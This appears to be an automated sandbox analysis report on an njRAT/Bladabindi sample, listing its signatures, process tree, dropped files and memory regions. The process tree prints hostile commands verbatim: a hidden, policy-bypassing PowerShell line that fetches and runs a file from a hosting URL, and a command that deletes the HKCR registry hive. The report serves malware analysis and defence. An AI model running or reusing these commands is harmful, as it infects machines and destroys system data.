Analysis

  • user interaction
    yes
  • max time kernel
    122s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/09/2026, 17:39

General

  • Target
    Payload.exe
  • Size 54KB
  • Sample260923-v8b7rage48
  • SHA256 2833c8b46a6796e8ae9d03fc72db4072683dffcc7729efaa02082cbb04bf2a7b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 40 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Payload.exe
    "C:\Users\Admin\AppData\Local\Temp\Payload.exe"
    1⤵
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4140
    • C:\Users\Admin\AppData\Local\Temp\13a32d5251dd4c43bd52f3e5cf5ed025.exe
      "C:\Users\Admin\AppData\Local\Temp\13a32d5251dd4c43bd52f3e5cf5ed025.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2080
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2028
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5744
        • C:\Windows\system32\reg.exe
          reg delete HKCR /f
          4⤵
          • Modifies registry class
          PID:996
    • C:\Users\Admin\AppData\Local\Temp\b157f73727814d549501d2449edb648d.exe
      "C:\Users\Admin\AppData\Local\Temp\b157f73727814d549501d2449edb648d.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4800
    • C:\Users\Admin\AppData\Local\Temp\9c28be319a434d78904c3cc61bcc34d9.exe
      "C:\Users\Admin\AppData\Local\Temp\9c28be319a434d78904c3cc61bcc34d9.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5616
  • C:\Users\Admin\AppData\Local\Temp\Payload.exe
    "C:\Users\Admin\AppData\Local\Temp\Payload.exe" ..
    1⤵
    • System Location Discovery: System Language Discovery
    PID:4752
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x00000000000004D0 0x00000000000004DC
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:464

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 67KB
        • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 41c59a73d29fe9a72437c323e3c89bda71c6987848a20016af52c6e2a57b4ba8
        • MD5 SHA1 SHA512 TLSH

        13a32d5251dd4c43bd52f3e5cf5ed025.exe

        • Path C:\Users\Admin\AppData\Local\Temp\13a32d5251dd4c43bd52f3e5cf5ed025.exe
        • Size 37KB
        • SHA256 f3b3c7e502ab5c7548d6ec8731aab47d6e5692f07e530f2a28f55d1943e24ef8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        5780d5b1-3574-48ab-8772-ebac00a521e6.wav

        • Path C:\Users\Admin\AppData\Local\Temp\5780d5b1-3574-48ab-8772-ebac00a521e6.wav
        • Size 234KB
        • SHA256 77cd375b8dac6d51045c30acd11bc33a843691c09b063e2faaf24ae846a312a1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_ieybedvl.4tc.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ieybedvl.4tc.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2028-51-0x0000029DA0010000-0x0000029DA0032000-memory.dmp

        memory/2080-47-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

        memory/2080-24-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

        memory/2080-46-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

        memory/2080-18-0x00000000003B0000-0x00000000003C0000-memory.dmp

        memory/2080-19-0x00007FFF31B8F000-0x00007FFF31B90000-memory.dmp

        memory/2080-20-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

        memory/2080-21-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

        memory/2080-22-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

        memory/2080-23-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

        memory/2080-45-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

        memory/4140-7-0x0000000074700000-0x0000000074D21000-memory.dmp

        memory/4140-6-0x0000000074700000-0x0000000074D21000-memory.dmp

        memory/4140-0-0x0000000000FF0000-0x0000000001000000-memory.dmp

        memory/4140-4-0x0000000074702000-0x0000000074704000-memory.dmp

        memory/4140-3-0x0000000000FF0000-0x0000000001000000-memory.dmp

        memory/4140-1-0x0000000074702000-0x0000000074704000-memory.dmp

        memory/4752-5-0x0000000074700000-0x0000000074D21000-memory.dmp

        memory/4752-2-0x0000000074700000-0x0000000074D21000-memory.dmp